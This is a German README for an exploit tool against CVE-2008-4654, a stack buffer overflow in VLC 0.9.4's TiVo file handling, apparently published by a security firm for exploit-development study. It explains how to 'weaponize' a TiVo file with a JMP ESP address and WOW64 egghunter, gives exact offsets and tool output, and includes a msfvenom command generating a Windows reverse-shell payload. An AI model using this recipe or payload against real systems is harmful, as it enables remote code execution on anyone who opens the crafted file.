CVE-2008-4654

Ein voll funktionsfähiger Exploit für die stackbasierte Pufferüberlauf-Schwachstelle CVE-2008-4654 im VLC Media Player 0.9.4 von VideoLan bei der Verarbeitung von TiVo-Dateien. Er zielt auf eine 32-Bit-Binärdatei ab, die unter einem 64-Bit-Windows-System läuft, und verwendet einen WOW64-Egghunter, um den begrenzten Stack-Speicher zu umgehen.

Verwendung

Aktualisieren Sie das Skript:

• Ersetzen Sie den Platzhalter buf = b'[...]' im Skript durch Ihren eigenen Shellcode (z. B. von msfvenom).
• Passen Sie optional den EGG_HUNTER_WOW64-Shellcode an, falls Sie ein anderes Tag wünschen oder einen benutzerdefinierten Egghunter haben.

python .\CVE-2008-4654.py --help

CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)

usage: CVE-2008-4654.py [-h] --input INPUT --output OUTPUT

Transform a given TiVo file into a weapon with predefined shellcode.

options:
  -h, --help       show this help message and exit
  --input INPUT    Path to the input TiVo file to be weaponized.
  --output OUTPUT  Path where the modified (weaponized) TiVo file will be saved.

Funktionsweise

• Das Skript sucht nach einem bestimmten Byte-Muster (TIVO_PES_FILEID) in der TiVo-Datei.
• Es überschreibt ein 4-Byte-Feld (20 Bytes nach dem Muster) mit b"\x00\x00\x00\xff", was den Out-of-Bounds-Read auslöst, der zu einem Stack-Überlauf führt.
• Anschließend ersetzt es einen anderen Bereich (92 Bytes nach TIVO_PES_FILEID) mit einer benutzerdefinierten Nutzlast.
• Die Nutzlast umfasst:
  • Eine JMP-ESP-Adresse, die die Ausführung auf den Stack lenkt.
  • Einen WOW64-spezifischen Egghunter, der den Speicher nach dem Marker w00tw00t durchsucht.
  • Eine große benutzerdefinierte Shellcode-Nutzlast (die zweite Stufe), die nach dem Marker platziert wird, außerhalb des begrenzten Stack-Speichers.
• Wenn VLC die modifizierte TiVo-Datei verarbeitet, löst es schließlich den Überlauf aus und führt den Egghunter aus. Der Egghunter findet den vollständigen Shellcode und führt ihn aus, wodurch die Stack-Größenbeschränkungen umgangen werden.

Beispiel

Nutzlast-Generierung

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.10.150 LPORT=6666 -a x86 -f python -b '\x00'

TiVo-Datei-Erstellung

• Ersetzen Sie den Platzhalter buf = b'[...]' durch den zuvor erstellten Shellcode.
• Laden Sie eine Beispiel-TiVo-Datei von https://samples.mplayerhq.hu/TiVo/ herunter.

PS C:\ > python .\CVE-2008-4654.py --input .\test.ty --output .\hazard.ty

CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)

[+] Found TIVO_PES_FILEID at offset 0x300000.
[+] Replaced 4 bytes at offset 0x300014 with 0x000000ff.
[+] Replaced 685 bytes at offset 0x30005c.
[+] Successfully weaponized: .\hazard.ty

Hinweise

• Der Exploit funktioniert nur unter x64-Windows aufgrund des WOW64-Egghunters. Ein reiner x86-Ansatz würde einen standardmäßigen Egghunter erfordern, der für 32-Bit-Systeme geeignet ist.
• Es gibt keine größeren schlechten Zeichen außer \x00 für diesen spezifischen Vektor, was die Nutzlast-Generierung vereinfacht.
• Für einen tieferen Einblick in Egghunting und WOW64-Einzelheiten besuchen Sie den Corelan’s WOW64 Egghunter article und lesen Sie das Paper von Matt (Skape) Miller.

Ressourcen

• https://nostarch.com/bughunter
• https://nvd.nist.gov/vuln/detail/CVE-2008-4654
• https://hexastrike.com/resources/blog/exploit-development/vlc-stack-based-buffer-overflow-exploiting-cve-2008-4654-with-a-wow64-egghunter/
• https://www.corelan.be/index.php/2011/11/18/wow64-egghunter/
• https://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
• https://samples.mplayerhq.hu/TiVo/